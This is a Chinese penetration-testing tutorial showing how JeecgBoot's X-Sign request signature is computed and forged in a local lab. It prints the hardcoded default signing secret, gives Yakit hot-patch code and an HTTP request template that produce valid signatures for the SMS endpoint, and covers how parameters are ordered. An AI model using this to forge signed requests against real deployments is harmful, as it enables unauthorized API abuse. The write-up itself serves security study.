Bootstrap

app&小程序&web安全—sign签名绕过

一、环境准备

本文测试环境为JeecgBoot,代码链接:jeecgboot/Github

环境配置链接:IDEA启动项目 - JeecgBoot 文档中心

配置好依赖和数据库后启动后端:org.jeecg.JeecgSystemApplication
在这里插入图片描述

启动Vue3前端,点击dev,Jeecg启动!

在这里插入图片描述

二、阅读代码(后端)

关于签名函数的位置我不太会定位,是通过网络搜索找到的。

在这里插入图片描述

最终定位到SignAuthConfigurationSignAuthInterceptorSignUtil等类。

1. SignAuthConfiguration

SignAuthConfiguration关键代码

boolean isSigned = SignUtil.verifySign(allParams,headerSign);

if (isSigned) {
    log.debug("Sign 签名通过!Header Sign : {}",headerSign);
    return true;
}

调用了verifySign进行校验签名,如果isSigned为true,签名通过。

2. SignUtil.verifySign

SignUtil.verifySign代码

public static boolean verifySign(SortedMap<String, String> params,String headerSign) {
    if (params == null || StringUtils.isEmpty(headerSign)) {
        return false;
    }
    // 把参数加密
    String paramsSign = getParamsSign(params);
    log.info("Param Sign : {}", paramsSign);
    return !StringUtils.isEmpty(paramsSign) && headerSign.equals(paramsSign);
}

经过调试得出params的内容是get和post请求参数的总和:

在这里插入图片描述

调用了getParamsSign来进行校验签名。

3. SignUtil.getParamsSign

SignUtil.getParamsSign关键代码

String signatureSecret = jeecgBaseConfig.getSignatureSecret();
return DigestUtils.md5DigestAsHex((paramsJsonStr + signatureSecret).getBytes("UTF-8")).toUpperCase();

对http请求参数paramsJsonStr加上signatureSecret的值,进行md5运算,最后对md5值大写处理。

signatureSecret的值在org/jeecg/config/JeecgBaseConfig.java里:dd05f1c54d63749eda95f9fa6d49v442a

在这里插入图片描述

4. 最后

getParamsSign返回签名计算后的数据,verifySign对后端计算的sign和http请求头的X-Sign进行比较,如果相同则sngn校验通过,返回true。

实践一下

获取验证码处抓包,清除掉多余请求头。

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: 1478A8A6639F1495342C603DC05BAEB7
X-TIMESTAMP: 1732282707313
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

在这里插入图片描述

处理后,可以看到和X-Sign值一样。

在这里插入图片描述

所以JeecgBoot的签名逻辑就是把请求内容加上密钥,然后再进行md5计算,最后大写字符,就得到了X-Sign字符。

三、阅读代码(前端)

打开开发者工具,全局搜索secret,可以看到签名密钥

const signatureSecret = 'dd05f1c54d63749eda95f9fa6d49v442a';

在这里插入图片描述

文件位置:/src/utils/encryption/signMd5Utils.js

在signMd5Utils.js的第43行可以看到签名逻辑

return md5(JSON.stringify(requestBody) + signatureSecret).toUpperCase();

在这里插入图片描述

调试后可以看出签名逻辑和后端一样,都是将请求内容加上密钥,然后md5再大写处理。

在这里插入图片描述

四、关于参数顺序的问题

上面只测试了POST请求体的参数,如果通过url传参该怎么加密呢?

这里通过后端调试可以看出,参数是按照(数字,大写字母,小写字母)的顺序来排序的。

URL的参数为:1papam=0&Zparam=1&aparam=2&nparam=3

请求体为:{"mobile":"13066668888","smsmode":"1"}

最终整合成json,得到的数据为:

{"1papam":"0","Zparam":"1","aparam":"2","mobile":"13066668888","nparam":"3","smsmode":"1"}

请求

在这里插入图片描述

后端log:log.info("Param paramsJsonStr : {}", paramsJsonStr)

在这里插入图片描述

五、Yak

随便写了点yakit的热加载代码,现在才知道yaklang功能很强大,但还是不太熟练,所以实战用处不大。

func sign(mobile) {
    return codec.Md5(f`{"mobile":"${mobile}","smsmode":"1"}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}
func sign(param) {
    return codec.Md5(f`${param}dd05f1c54d63749eda95f9fa6d49v442a`).Upper()
}

在这里插入图片描述

在这里插入图片描述

POST /jeecgboot/sys/sms HTTP/1.1
Host: 192.168.171.1:3100
X-Sign: {{yak(sign|{"mobile":"13066668888","smsmode":"1"})}}
X-TIMESTAMP: {{timestamp(ms)}}
Content-Type: application/json;charset=UTF-8

{"mobile":"13066668888","smsmode":"1"}

在这里插入图片描述

六、参考文章

jeecg 请求url签名_signauthconfiguration

渗透测试高级技巧:分析验签与前端加密

Fuzz Tag Playbook (yaklang.io)

热加载 (yaklang.io)

;